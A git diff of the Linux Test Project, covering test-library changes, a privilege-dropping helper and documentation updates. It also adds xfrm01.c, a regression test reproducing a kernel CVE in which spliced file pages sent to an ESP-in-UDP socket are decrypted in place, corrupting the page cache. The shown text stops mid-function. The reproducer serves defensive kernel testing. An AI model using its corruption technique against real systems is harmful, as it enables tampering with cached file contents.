-6,6 +6,7 @@ # env # { # "mount_device": true, +# "runtime": 10, # "mntpoint": "ltp_mntpoint", # "filesystems": [ # { @@ -38,6 +39,14 @@ tst_test() else tst_res TFAIL "Device not mounted!" fi + + RUNTIME=$(tst_remaining_runtime) + + if [ "$RUNTIME" -ge 9 ]; then + tst_res TPASS "Remaining runtime $RUNTIME" + else + tst_res TFAIL "Remaoning runtime $RUNTIME" + fi } . tst_run.sh diff --git a/ltp/testcases/lib/tst_device.c b/ltp/testcases/lib/tst_device.c index 45f77a38..c90ecd3f 100644 --- a/ltp/testcases/lib/tst_device.c +++ b/ltp/testcases/lib/tst_device.c @@ -9,7 +9,7 @@ #include <stdlib.h> #define TST_NO_DEFAULT_MAIN #include "tst_test.h" -#include "old/old_device.h" +#include "old/tso_device.h" extern struct tst_test *tst_test; diff --git a/ltp/testcases/lib/tst_net.sh b/ltp/testcases/lib/tst_net.sh index 6c227831..38435dea 100644 --- a/ltp/testcases/lib/tst_net.sh +++ b/ltp/testcases/lib/tst_net.sh @@ -42,10 +42,29 @@ tst_net_usage() if [ -n "$TST_USAGE_CALLER" ]; then $TST_USAGE_CALLER else - echo "Usage: $0 [-6]" - echo "OPTIONS" + cat << EOF +Usage: $0 [-6] + +OPTIONS (network tests only) +---------------------------- +EOF fi - echo "-6 IPv6 tests" + + cat << EOF +-6 IPv6 tests + +Environment Variables (network tests only) +------------------------------------------ +TST_NET_RHOST_RUN_DEBUG=1 +Print commands used by tst_rhost_run() + +LTP_NET_FEATURES_IGNORE_PERFORMANCE_FAILURE=1 +Ignore performance failure and test only the network functionality in tests +which use tst_netload_compare(). + +OPTIONS +------- +EOF } tst_net_remote_tmpdir() @@ -211,6 +230,7 @@ tst_net_use_netns() # Options: # -b run in background # -c CMD specify command to run (this must be binary, not shell builtin/function) +# -Q ignore stderr # -s safe option, if something goes wrong, will exit with TBROK # -u USER for ssh (default root) # RETURN: 0 on success, 1 on failure @@ -220,16 +240,18 @@ tst_rhost_run() local post_cmd=' || echo RTERR' local user="root" local ret=0 + local stderr='2>&1' local cmd out output pre_cmd rcmd sh_cmd safe use local OPTIND - while getopts :bc:su: opt; do + while getopts :bc:Qsu: opt; do case "$opt" in b) [ "${TST_USE_NETNS:-}" ] && pre_cmd= || pre_cmd="nohup" - post_cmd=" > /dev/null 2>&1 &" + post_cmd=" > /dev/null $stderr &" out="1> /dev/null" ;; c) cmd="$OPTARG" ;; + Q) stderr= ;; s) safe=1 ;; u) user="$OPTARG" ;; *) tst_brk_ TBROK "tst_rhost_run: unknown option: $OPTARG" ;; @@ -256,10 +278,10 @@ tst_rhost_run() if [ "$TST_NET_RHOST_RUN_DEBUG" = 1 ]; then tst_res_ TINFO "tst_rhost_run: cmd: $cmd" - tst_res_ TINFO "$use: $rcmd \"$sh_cmd\" $out 2>&1" + tst_res_ TINFO "$use: $rcmd \"$sh_cmd\" $out $stderr" fi - output=$($rcmd "$sh_cmd" $out 2>&1 || echo 'RTERR') + output=$($rcmd "$sh_cmd" $out $stderr || echo 'RTERR') echo "$output" | grep -q 'RTERR$' && ret=1 if [ $ret -eq 1 ]; then @@ -713,11 +735,21 @@ tst_wait_ipv6_dad() done } -tst_netload_brk() +tst_netload_print_log() { tst_rhost_run -c "cat $TST_TMPDIR/netstress.log" cat tst_netload.log - tst_brk_ $1 $2 +} + +tst_netload_brk() +{ + tst_netload_print_log + if [ "$1" != TBROK -a "$1" != TCONF ]; then + tst_res_ $1 $2 + tst_brk_ TBROK "quit due previous failures" + else + tst_brk_ $1 $2 + fi } # Run network load test, see 'netstress -h' for option description @@ -834,12 +866,12 @@ tst_netload() tst_netload_brk TFAIL "expected '$expect_res' but ret: '$ret'" tst_res_ TWARN "netstress failed, ret: $ret" + tst_netload_print_log was_failure=1 continue fi - [ ! -f $rfile ] && \ - tst_netload_brk TFAIL "can't read $rfile" + [ ! -f $rfile ] && tst_netload_brk TBROK "can't read $rfile" results="$results $(cat $rfile)" passed=$((passed + 1)) @@ -1060,7 +1092,7 @@ tst_net_setup_network() tst_net_use_netns && init_ltp_netspace eval $(tst_net_iface_prefix $IPV4_LHOST || echo "exit $?") - eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV4_RHOST \ + eval $(tst_rhost_run -Q -c 'tst_net_iface_prefix -r '$IPV4_RHOST \ || echo "exit $?") eval $(tst_net_vars $IPV4_LHOST/$IPV4_LPREFIX \ $IPV4_RHOST/$IPV4_RPREFIX || echo "exit $?") @@ -1068,7 +1100,7 @@ tst_net_setup_network() if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then tst_net_check_ifaces_ipv6 eval $(tst_net_iface_prefix $IPV6_LHOST || echo "exit $?") - eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV6_RHOST \ + eval $(tst_rhost_run -Q -c 'tst_net_iface_prefix -r '$IPV6_RHOST \ || echo "exit $?") eval $(tst_net_vars $IPV6_LHOST/$IPV6_LPREFIX \ $IPV6_RHOST/$IPV6_RPREFIX || echo "exit $?") @@ -1112,7 +1144,6 @@ tst_net_detect_ipv6 # Management Link [ -z "$RHOST" ] && TST_USE_NETNS="yes" export RHOST="$RHOST" -export PASSWD="${PASSWD:-}" # Don't use it in new tests, use tst_rhost_run() from tst_net.sh instead. export LTP_RSH="${LTP_RSH:-ssh -nq}" diff --git a/ltp/testcases/lib/tst_remaining_runtime.c b/ltp/testcases/lib/tst_remaining_runtime.c new file mode 100644 index 00000000..df383d34 --- /dev/null +++ b/ltp/testcases/lib/tst_remaining_runtime.c @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Cyril Hrubis <chrubis@suse.cz> + */ + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" + +static void print_help(char *name) +{ + fprintf(stderr, "Usage: %s\n", name); +} + +int main(int argc, char *argv[]) +{ + if (argc > 1) { + print_help(argv[0]); + return 1; + } + + tst_reinit(); + + printf("%u\n", tst_remaining_runtime()); + + return 0; +} diff --git a/ltp/testcases/lib/tst_run.sh b/ltp/testcases/lib/tst_run.sh index 841b5fd1..e876fd89 100644 --- a/ltp/testcases/lib/tst_run.sh +++ b/ltp/testcases/lib/tst_run.sh @@ -1,7 +1,7 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2025 Cyril Hrubis <chrubis@suse.cz> -# Copyright (c) 2025 Petr Vorel <pvorel@suse.cz> +# Copyright (c) 2025-2026 Petr Vorel <pvorel@suse.cz> . tst_env.sh @@ -21,4 +21,4 @@ if [ -n "$TST_SETUP" ]; then fi fi -tst_test +tst_test "$@" diff --git a/ltp/testcases/lib/tst_run_shell.c b/ltp/testcases/lib/tst_run_shell.c index 7a446e00..2778fb6d 100644 --- a/ltp/testcases/lib/tst_run_shell.c +++ b/ltp/testcases/lib/tst_run_shell.c @@ -60,6 +60,7 @@ enum test_attr_ids { MIN_CPUS, MIN_MEM_AVAIL, MIN_KVER, + MIN_RUNTIME, MIN_SWAP_AVAIL, MNTPOINT, MOUNT_DEVICE, @@ -67,13 +68,13 @@ enum test_attr_ids { NEEDS_CMDS, NEEDS_DEVFS, NEEDS_DEVICE, - NEEDS_DRIVERS, NEEDS_HUGETLBFS, NEEDS_KCONFIGS, NEEDS_ROFS, NEEDS_ROOT, NEEDS_TMPDIR, RESTORE_WALLCLOCK, + RUNTIME, SAVE_RESTORE, SKIP_FILESYSTEMS, SKIP_IN_COMPAT, @@ -93,6 +94,7 @@ static ujson_obj_attr test_attrs[] = { UJSON_OBJ_ATTR_IDX(MIN_CPUS, "min_cpus", UJSON_INT), UJSON_OBJ_ATTR_IDX(MIN_MEM_AVAIL, "min_mem_avail", UJSON_INT), UJSON_OBJ_ATTR_IDX(MIN_KVER, "min_kver", UJSON_STR), + UJSON_OBJ_ATTR_IDX(MIN_RUNTIME, "min_runtime", UJSON_INT), UJSON_OBJ_ATTR_IDX(MIN_SWAP_AVAIL, "min_swap_avail", UJSON_INT), UJSON_OBJ_ATTR_IDX(MNTPOINT, "mntpoint", UJSON_STR), UJSON_OBJ_ATTR_IDX(MOUNT_DEVICE, "mount_device", UJSON_BOOL), @@ -100,13 +102,13 @@ static ujson_obj_attr test_attrs[] = { UJSON_OBJ_ATTR_IDX(NEEDS_CMDS, "needs_cmds", UJSON_ARR), UJSON_OBJ_ATTR_IDX(NEEDS_DEVFS, "needs_devfs", UJSON_BOOL), UJSON_OBJ_ATTR_IDX(NEEDS_DEVICE, "needs_device", UJSON_BOOL), - UJSON_OBJ_ATTR_IDX(NEEDS_DRIVERS, "needs_drivers", UJSON_ARR), UJSON_OBJ_ATTR_IDX(NEEDS_HUGETLBFS, "needs_hugetlbfs", UJSON_BOOL), UJSON_OBJ_ATTR_IDX(NEEDS_KCONFIGS, "needs_kconfigs", UJSON_ARR), UJSON_OBJ_ATTR_IDX(NEEDS_ROFS, "needs_rofs", UJSON_BOOL), UJSON_OBJ_ATTR_IDX(NEEDS_ROOT, "needs_root", UJSON_BOOL), UJSON_OBJ_ATTR_IDX(NEEDS_TMPDIR, "needs_tmpdir", UJSON_BOOL), UJSON_OBJ_ATTR_IDX(RESTORE_WALLCLOCK, "restore_wallclock", UJSON_BOOL), + UJSON_OBJ_ATTR_IDX(RUNTIME, "runtime", UJSON_INT), UJSON_OBJ_ATTR_IDX(SAVE_RESTORE, "save_restore", UJSON_ARR), UJSON_OBJ_ATTR_IDX(SKIP_FILESYSTEMS, "skip_filesystems", UJSON_ARR), UJSON_OBJ_ATTR_IDX(SKIP_IN_COMPAT, "skip_in_compat", UJSON_BOOL), @@ -175,6 +177,21 @@ static ujson_obj fs_obj = { .attr_cnt = UJSON_ARRAY_SIZE(fs_attrs), }; +enum cmd_ids { + CMD, + OPTIONAL, +}; + +static ujson_obj_attr cmd_attrs[] = { + UJSON_OBJ_ATTR_IDX(CMD, "cmd", UJSON_STR), + UJSON_OBJ_ATTR_IDX(OPTIONAL, "optional", UJSON_BOOL), +}; + +static ujson_obj cmd_obj = { + .attrs = cmd_attrs, + .attr_cnt = UJSON_ARRAY_SIZE(cmd_attrs), +}; + static int parse_mnt_flags(ujson_reader *reader, ujson_val *val) { int ret = 0; @@ -252,6 +269,45 @@ static struct tst_fs *parse_filesystems(ujson_reader *reader, ujson_val *val) return ret; } +static struct tst_cmd *parse_cmds(ujson_reader *reader, ujson_val *val) +{ + unsigned int i = 0, cnt = 0; + struct tst_cmd *ret; + + ujson_reader_state state = ujson_reader_state_save(reader); + + UJSON_ARR_FOREACH(reader, val) { + if (val->type != UJSON_OBJ) { + ujson_err(reader, "Expected object!"); + return NULL; + } + ujson_obj_skip(reader); + cnt++; + } + + ujson_reader_state_load(reader, state); + + ret = SAFE_MALLOC(sizeof(struct tst_cmd) * (cnt + 1)); + memset(&ret[cnt], 0, sizeof(ret[cnt])); + + UJSON_ARR_FOREACH(reader, val) { + UJSON_OBJ_FOREACH_FILTER(reader, val, &cmd_obj, ujson_empty_obj) { + switch ((enum cmd_ids)val->idx) { + case CMD: + ret[i].cmd = strdup(val->val_str); + break; + case OPTIONAL: + ret[i].optional = val->val_bool; + break; + } + } + + i++; + } + + return ret; +} + static struct tst_tag *parse_tags(ujson_reader *reader, ujson_val *val) { unsigned int i = 0, cnt = 0; @@ -421,6 +477,12 @@ static void parse_metadata(void) case MIN_KVER: test.min_kver = strdup(val.val_str); break; + case MIN_RUNTIME: + if (val.val_int <= 0) + ujson_err(&reader, "Minimal runtime must be > 0"); + else + test.min_runtime = val.val_int; + break; case MIN_SWAP_AVAIL: if (val.val_int <= 0) ujson_err(&reader, "Minimal available swap size must be > 0"); @@ -440,7 +502,7 @@ static void parse_metadata(void) ujson_err(&reader, "ABI bits must be 32 or 64"); break; case NEEDS_CMDS: - test.needs_cmds = parse_strarr(&reader, &val); + test.needs_cmds = parse_cmds(&reader, &val); break; case NEEDS_DEVFS: test.needs_devfs = val.val_bool; @@ -448,9 +510,6 @@ static void parse_metadata(void) case NEEDS_DEVICE: test.needs_device = val.val_bool; break; - case NEEDS_DRIVERS: - test.needs_drivers = parse_strarr(&reader, &val); - break; case NEEDS_HUGETLBFS: test.needs_hugetlbfs = val.val_bool; break; @@ -469,6 +528,12 @@ static void parse_metadata(void) case RESTORE_WALLCLOCK: test.restore_wallclock = val.val_bool; break; + case RUNTIME: + if (val.val_int <= 0) + ujson_err(&reader, "Runtime must be > 0"); + else + test.runtime = val.val_int; + break; case SAVE_RESTORE: test.save_restore = parse_save_restore(&reader, &val); break; diff --git a/ltp/testcases/lib/tst_runas.c b/ltp/testcases/lib/tst_runas.c new file mode 100644 index 00000000..018dce62 --- /dev/null +++ b/ltp/testcases/lib/tst_runas.c @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Petr Vorel <pvorel@suse.cz> + */ + +/* update also tst_test.sh */ +#define LTP_USR_UID 65534 +#define LTP_USR_GID 65534 + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" + +static void print_help(void) +{ + fprintf(stderr, "Usage: %s cmd [args] ...\n", __FILE__); + fprintf(stderr, "Usage: %s cmd [-h] print help\n\n", __FILE__); + + fprintf(stderr, "Environment Variables\n"); + fprintf(stderr, "LTP_USR_UID: UID of 'nobody' user, defaults %d\n", + LTP_USR_UID); + fprintf(stderr, "LTP_USR_GID: GID of 'nobody' user, defaults %d\n", + LTP_USR_GID); +} + +int main(int argc, char *argv[]) +{ + if (argc < 2 || !strcmp(argv[1], "-h")) { + print_help(); + return 1; + } + + unsigned uid = LTP_USR_UID, gid = LTP_USR_GID; + + char *uid_env = getenv("LTP_USR_UID"); + char *gid_env = getenv("LTP_USR_GID"); + + if (uid_env) + uid = SAFE_STRTOL(uid_env, 1, INT_MAX); + + if (gid_env) + gid = SAFE_STRTOL(gid_env, 1, INT_MAX); + + tst_res(TINFO, "UID: %d, GID: %d", uid, gid); + SAFE_SETGROUPS(0, NULL); + SAFE_SETRESGID(gid, gid, gid); + SAFE_SETRESUID(uid, uid, uid); + + SAFE_CMD((const char * const *)&argv[1], NULL, NULL); + + return 0; +} diff --git a/ltp/testcases/lib/tst_test.sh b/ltp/testcases/lib/tst_test.sh index 4be10a4f..26e6a86d 100644 --- a/ltp/testcases/lib/tst_test.sh +++ b/ltp/testcases/lib/tst_test.sh @@ -17,6 +17,10 @@ export TST_ITERATIONS=1 export TST_TMPDIR_RHOST=0 export TST_LIB_LOADED=1 +# see testcases/lib/tst_runas.c +export TST_USR_UID="${LTP_USR_UID:-65534}" +export TST_USR_GID="${LTP_USR_GID:-65534}" + . tst_ansi_color.sh . tst_security.sh @@ -689,7 +693,7 @@ tst_run() CHECKPOINT_WAKE2|CHECKPOINT_WAKE_AND_WAIT);; DEV_EXTRA_OPTS|DEV_FS_OPTS|FORMAT_DEVICE|MOUNT_DEVICE);; SKIP_FILESYSTEMS|SKIP_IN_LOCKDOWN|SKIP_IN_SECUREBOOT);; - DEVICE_SIZE);; + DEVICE_SIZE|USR_UID|USR_GID);; *) tst_res TWARN "Reserved variable TST_$_tst_i used!";; esac done diff --git a/ltp/testcases/misc/lvm/cleanup_lvm.sh b/ltp/testcases/misc/lvm/cleanup_lvm.sh index f05289f0..059f6aa9 100755 --- a/ltp/testcases/misc/lvm/cleanup_lvm.sh +++ b/ltp/testcases/misc/lvm/cleanup_lvm.sh @@ -8,7 +8,8 @@ TST_TESTFUNC=cleanup_lvm TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="losetup umount vgremove" -LVM_DIR="${LVM_DIR:-/tmp}" +TMPDIR="${TMPDIR:-/tmp}" +LVM_DIR="${LVM_DIR:-$TMPDIR}" LVM_TMPDIR="$LVM_DIR/ltp/growfiles" LVM_IMGDIR="$LVM_DIR/ltp/imgfiles" diff --git a/ltp/testcases/misc/lvm/generate_lvm_runfile.sh b/ltp/testcases/misc/lvm/generate_lvm_runfile.sh index 7f7e149d..01b87966 100755 --- a/ltp/testcases/misc/lvm/generate_lvm_runfile.sh +++ b/ltp/testcases/misc/lvm/generate_lvm_runfile.sh @@ -9,7 +9,8 @@ TST_TESTFUNC=generate_runfile TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="sed" -LVM_DIR="${LVM_DIR:-/tmp}" +TMPDIR="${TMPDIR:-/tmp}" +LVM_DIR="${LVM_DIR:-$TMPDIR}" LVM_TMPDIR="$LVM_DIR/ltp/growfiles" generate_runfile() diff --git a/ltp/testcases/misc/lvm/prepare_lvm.sh b/ltp/testcases/misc/lvm/prepare_lvm.sh index 29f386df..334c7ac1 100755 --- a/ltp/testcases/misc/lvm/prepare_lvm.sh +++ b/ltp/testcases/misc/lvm/prepare_lvm.sh @@ -8,7 +8,8 @@ TST_TESTFUNC=prepare_lvm TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="mount pvcreate vgcreate lvcreate" -LVM_DIR="${LVM_DIR:-/tmp}" +TMPDIR="${TMPDIR:-/tmp}" +LVM_DIR="${LVM_DIR:-$TMPDIR}" LVM_TMPDIR="$LVM_DIR/ltp/growfiles" LVM_IMGDIR="$LVM_DIR/ltp/imgfiles" diff --git a/ltp/testcases/network/.gitignore b/ltp/testcases/network/.gitignore index c6511396..3ebb6e33 100644 --- a/ltp/testcases/network/.gitignore +++ b/ltp/testcases/network/.gitignore @@ -31,11 +31,7 @@ /stress/ns-tools/ns-igmp_querier /stress/ns-tools/ns-mcast_join /stress/ns-tools/ns-mcast_receiver -/stress/ns-tools/ns-tcpclient -/stress/ns-tools/ns-tcpserver -/stress/ns-tools/ns-udpclient /stress/ns-tools/ns-udpsender -/stress/ns-tools/ns-udpserver /tcp_cmds/echo/createfile /tcp_cmds/echo/echoes /tcp_cmds/echo/echoes6 diff --git a/ltp/testcases/network/README.md b/ltp/testcases/network/README.md index 0b64df01..09510b54 100644 --- a/ltp/testcases/network/README.md +++ b/ltp/testcases/network/README.md @@ -26,23 +26,9 @@ by default used `ssh`, for details see `testcases/network/stress/README`. Tests have various external dependencies, exit with `TCONF` when not installed. Some tests require additional setup. -### FTP and telnet setup -FTP stress tests and telnet server tests require environment variables `RHOST` -(remote machine), `RUSER` (remote user) and `PASSWD` (remote password). NOTE: -`RHOST` will imply two host configuration for other tests. - -If `RUSER` is set to `root`, either of these steps is required: - -* In `/etc/ftpusers` (or `/etc/vsftpd.ftpusers`), comment the line containing -"root" string. This file lists all those users who are not given access to do ftp -on the current system. - -* If you don’t want to do the previous step, put following entry into `/root/.netrc`: -``` -machine <remote_server_name> -login root -password <remote_root_password> -``` +### FTP +FTP stress tests require vsftpd. It will be started with with enabled anonymous +logins, stopped after testing. ### HTTP setup HTTP stress tests require configured and running web server (Apache2, Nginx, etc.). diff --git a/ltp/testcases/network/can/cve/can_bcm01.c b/ltp/testcases/network/can/cve/can_bcm01.c index 57ec4989..3b66037e 100644 --- a/ltp/testcases/network/can/cve/can_bcm01.c +++ b/ltp/testcases/network/can/cve/can_bcm01.c @@ -140,9 +140,9 @@ static struct tst_test test = { .needs_root = 1, .skip_in_compat = 1, .min_runtime = 30, - .needs_drivers = (const char *const[]) { - "vcan", - "can-bcm", + .needs_kconfigs = (const char *const[]) { + "CONFIG_CAN_VCAN", + "CONFIG_CAN_BCM", NULL }, .tags = (const struct tst_tag[]) { diff --git a/ltp/testcases/network/can/filter-tests/INSTALL b/ltp/testcases/network/can/filter-tests/INSTALL index 7d62d65f..f07a0976 100644 --- a/ltp/testcases/network/can/filter-tests/INSTALL +++ b/ltp/testcases/network/can/filter-tests/INSTALL @@ -16,7 +16,7 @@ $ ./can_filter $ ./can_rcv_own_msgs 3) To let LTP run the tests from $LTPROOT, execute: -$ ./runltp -f can +$ kirk -f can 4) Clean up using: $ make clean diff --git a/ltp/testcases/network/can/filter-tests/can_filter.c b/ltp/testcases/network/can/filter-tests/can_filter.c index 1ea8ea18..8b4f2fc0 100644 --- a/ltp/testcases/network/can/filter-tests/can_filter.c +++ b/ltp/testcases/network/can/filter-tests/can_filter.c @@ -183,9 +183,9 @@ static struct tst_test test = { TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN), {} }, - .needs_drivers = (const char *const[]) { - "vcan", - "can-raw", + .needs_kconfigs = (const char *const[]) { + "CONFIG_CAN_VCAN", + "CONFIG_CAN_RAW", NULL } }; diff --git a/ltp/testcases/network/can/filter-tests/can_rcv_own_msgs.c b/ltp/testcases/network/can/filter-tests/can_rcv_own_msgs.c index ba40666d..2c0acecf 100644 --- a/ltp/testcases/network/can/filter-tests/can_rcv_own_msgs.c +++ b/ltp/testcases/network/can/filter-tests/can_rcv_own_msgs.c @@ -145,9 +145,9 @@ static struct tst_test test = { TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN), {} }, - .needs_drivers = (const char *const[]) { - "vcan", - "can-raw", + .needs_kconfigs = (const char *const[]) { + "CONFIG_CAN_VCAN", + "CONFIG_CAN_RAW", NULL } }; diff --git a/ltp/testcases/network/lib6/asapi_01.c b/ltp/testcases/network/lib6/asapi_01.c index ac1de541..05f3ed41 100644 --- a/ltp/testcases/network/lib6/asapi_01.c +++ b/ltp/testcases/network/lib6/asapi_01.c @@ -31,7 +31,7 @@ #include <netinet/in.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "asapi_01"; diff --git a/ltp/testcases/network/lib6/asapi_02.c b/ltp/testcases/network/lib6/asapi_02.c index 6bffde03..27a2e7c0 100644 --- a/ltp/testcases/network/lib6/asapi_02.c +++ b/ltp/testcases/network/lib6/asapi_02.c @@ -14,7 +14,7 @@ * larger number of messages may be potentially received on an ICMPv6 socket. * Input filters may therefore be used to restrict input to a subset of the * incoming ICMPv6 messages so only interesting messages are returned by the - * :man2:`recv` family of calls to an application. + * :manpage:`recv(2)` family of calls to an application. * The icmp6_filter structure may be used to refine the input message set * according to the ICMPv6 type. By default, all messages types are allowed @@ -41,7 +41,7 @@ * ``int ICMP6_FILTER_WILLBLOCK(int, const struct icmp6_filter *)`` * Determine if the given filter will ignore an ICMPv6 message of the given type. * - * The :man2:`getsockopt` and :man2:`setsockopt` calls may be used to obtain and + * The :manpage:`getsockopt(2)` and :manpage:`setsockopt(2)` calls may be used to obtain and * install the filter on ICMPv6 sockets at option level ``IPPROTO_ICMPV6`` and * name ``ICMP6_FILTER`` with a pointer to the icmp6_filter structure as the * option value. diff --git a/ltp/testcases/network/lib6/asapi_03.c b/ltp/testcases/network/lib6/asapi_03.c index 87d050ad..e0985148 100644 --- a/ltp/testcases/network/lib6/asapi_03.c +++ b/ltp/testcases/network/lib6/asapi_03.c @@ -41,7 +41,7 @@ #include <arpa/inet.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "asapi_03"; diff --git a/ltp/testcases/network/nfs/nfs_stress/nfs_lib.sh b/ltp/testcases/network/nfs/nfs_stress/nfs_lib.sh index 14425898..8bff3f23 100644 --- a/ltp/testcases/network/nfs/nfs_stress/nfs_lib.sh +++ b/ltp/testcases/network/nfs/nfs_stress/nfs_lib.sh @@ -11,6 +11,18 @@ NFS_TYPE=${NFS_TYPE:=nfs} nfs_usage() { + echo "Test Specific Environment Variables" + echo "-----------------------------------" + + cat >&2 << EOF +LTP_NFS_NETNS_USE_LO=1 NFS traffic will go through loopback interface instead + of ltp_ns_veth* netns interfaces (useful for debugging + whether test failures are related to veth/netns) +EOF + + echo + echo "Options" + echo "-------" echo "-t x Socket type, tcp or udp, default is udp" echo "-v x NFS version, default is '3'" } @@ -33,7 +45,7 @@ TST_SKIP_FILESYSTEMS="exfat,ext2,ext3,fuse,ntfs,vfat,tmpfs" TST_MOUNT_DEVICE=1 TST_FORMAT_DEVICE=1 TST_NEEDS_ROOT=1 -TST_NEEDS_CMDS="$TST_NEEDS_CMDS mount exportfs mount.nfs" +TST_NEEDS_CMDS="$TST_NEEDS_CMDS mount mount.nfs" TST_SETUP="${TST_SETUP:-nfs_setup}" TST_CLEANUP="${TST_CLEANUP:-nfs_cleanup}" TST_NEEDS_DRIVERS="nfsd" @@ -174,9 +186,13 @@ nfs_setup() tst_brk TCONF "Cannot run nfs-stress test on mounted NFS" fi - if tst_cmd_available pgrep; then + tst_rhost_run -c "command -v exportfs >/dev/null" || + tst_brk TCONF "'exportfs' not found on rhost" + + if tst_rhost_run -c "command -v pgrep >/dev/null"; then + tst_res TINFO "checking rpc.mountd/rpc.statd on rhost" for i in rpc.mountd rpc.statd; do - pgrep $i > /dev/null || tst_brk TCONF "$i not running" + tst_rhost_run -c "pgrep $i > /dev/null" || tst_brk TCONF "$i not running on rhost" done fi diff --git a/ltp/testcases/network/rpc/rpc-tirpc/README b/ltp/testcases/network/rpc/rpc-tirpc/README index 13916275..51c48360 100644 --- a/ltp/testcases/network/rpc/rpc-tirpc/README +++ b/ltp/testcases/network/rpc/rpc-tirpc/README @@ -46,6 +46,6 @@ instead of a bunch of scripts from the above web page. The basic group of test cases can be executed from * runtest/net.rpc_tests - for TS-RPC testing * runtest/net.tirpc_tests - for TI-RPC testing -using the LTP framework (ltp-pan, runltp and etc). +using kirk. Additional test cases (like stress, complex and etc) are to be integrated. diff --git a/ltp/testcases/network/sockets/.gitignore b/ltp/testcases/network/sockets/.gitignore new file mode 100644 index 00000000..35bc0462 --- /dev/null +++ b/ltp/testcases/network/sockets/.gitignore @@ -0,0 +1,2 @@ +/xfrm01 +/xfrm02 diff --git a/ltp/testcases/network/sockets/xfrm01.c b/ltp/testcases/network/sockets/xfrm01.c new file mode 100644 index 00000000..b0353a72 --- /dev/null +++ b/ltp/testcases/network/sockets/xfrm01.c @@ -0,0 +1,245 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> + */ + +/*\ + * Test for CVE-2026-43284 fixed by: + * f4c50a4034e6 ("xfrm: esp: avoid in-place decrypt on shared skb frags") + * + * When file data is spliced into a UDP socket, the kernel uses + * MSG_SPLICE_PAGES to reference page cache pages directly in the skb. + * If the receiving socket has UDP_ENCAP_ESPINUDP enabled and a matching + * xfrm SA exists, the kernel's :manpage:`esp_input(7)` decrypts the + * ESP payload in-place on those page cache pages, corrupting the cached + * file contents. + * + * The test sets up an ESP-in-UDP xfrm state on loopback, writes known + * data to a file, splices the file data between a crafted ESP header + * and a fake ICV into a UDP socket, and then verifies whether the page + * cache was corrupted. + * + * Reproducer based on: + * https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "tst_net.h" +#include "lapi/udp.h" +#include "lapi/splice.h" + +#define TESTFILE "pagecache_test" +#define ATKFILE "atk_data" + +#define DATA_SIZE 4 +#define SPI 0xdeadbeef +#define ENC_PORT 4500 +#define IV_LEN 8 +#define ESP_HDR_SIZE 16 +#define ICV_SIZE 16 +#define AES_KEYLEN 16 +#define SALT_LEN 4 +#define KEYTOTAL (AES_KEYLEN + SALT_LEN) + +#define XFRM_CMD \ + "ip xfrm state add" \ + " src 127.0.0.1 dst 127.0.0.1" \ + " proto esp spi 0x%08x" \ + " encap espinudp %d %d 0.0.0.0" \ + " aead 'rfc4106(gcm(aes))' %s 128" \ + " replay-window 32" + +static const uint8_t original[DATA_SIZE] = { 'T', 'E', 'S', 'T' }; + +static const uint8_t aead_key[KEYTOTAL] = { + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, + 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, + 0x10, 0x11, 0x12, 0x13 +}; + +static int file_fd = -1; +static int recv_fd = -1; +static int send_fd = -1; +static int atk_fd = -1; +static int pipefd[2] = { -1, -1 }; + +static void setup(void) +{ + char keyhex[KEYTOTAL * 2 + 3]; + char cmd[512]; + int i, ret; + + tst_setup_netns(); + + const char *const lo_cmd[] = { + "ip", "link", "set", "lo", "up", NULL + }; + + ret = tst_cmd(lo_cmd, NULL, NULL, TST_CMD_PASS_RETVAL); + if (ret) + tst_brk(TBROK, "Failed to bring up loopback interface"); + + keyhex[0] = '0'; + keyhex[1] = 'x'; + for (i = 0; i < KEYTOTAL; i++) + sprintf(keyhex + 2 + i * 2, "%02x", aead_key[i]); + + snprintf(cmd, sizeof(cmd), XFRM_CMD, SPI, ENC_PORT, ENC_PORT, keyhex); + + ret = tst_system(cmd); + if (ret) + tst_brk(TBROK, "Failed to install xfrm ESP state"); +} + +static void try_corrupt(void) +{ + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_addr.s_addr = htonl(INADDR_LOOPBACK), + .sin_port = htons(ENC_PORT), + }; + uint8_t esp_hdr[ESP_HDR_SIZE] = { 0 }; + uint8_t icv[ICV_SIZE] = { 0 }; + uint32_t spi_net = htonl(SPI); + uint32_t seq_net = htonl(1); + int encap = UDP_ENCAP_ESPINUDP; + loff_t off; + + memcpy(esp_hdr, &spi_net, sizeof(spi_net)); + memcpy(esp_hdr + 4, &seq_net, sizeof(seq_net)); + + /* + * ESP header and ICV must be on different pages so that the + * target file's page sits in its own frag slot in the skb. + */ + atk_fd = SAFE_OPEN(ATKFILE, O_RDWR | O_CREAT, 0600); + SAFE_WRITE(SAFE_WRITE_ALL, atk_fd, esp_hdr, ESP_HDR_SIZE); + SAFE_LSEEK(atk_fd, 4096, SEEK_SET); + SAFE_WRITE(SAFE_WRITE_ALL, atk_fd, icv, ICV_SIZE); + SAFE_FSYNC(atk_fd); + + /* Evict attacker pages so splice gives fresh page references */ + SAFE_POSIX_FADVISE(atk_fd, 0, 0, POSIX_FADV_DONTNEED); + SAFE_CLOSE(atk_fd); + + atk_fd = SAFE_OPEN(ATKFILE, O_RDONLY); + + /* UDP socket that will 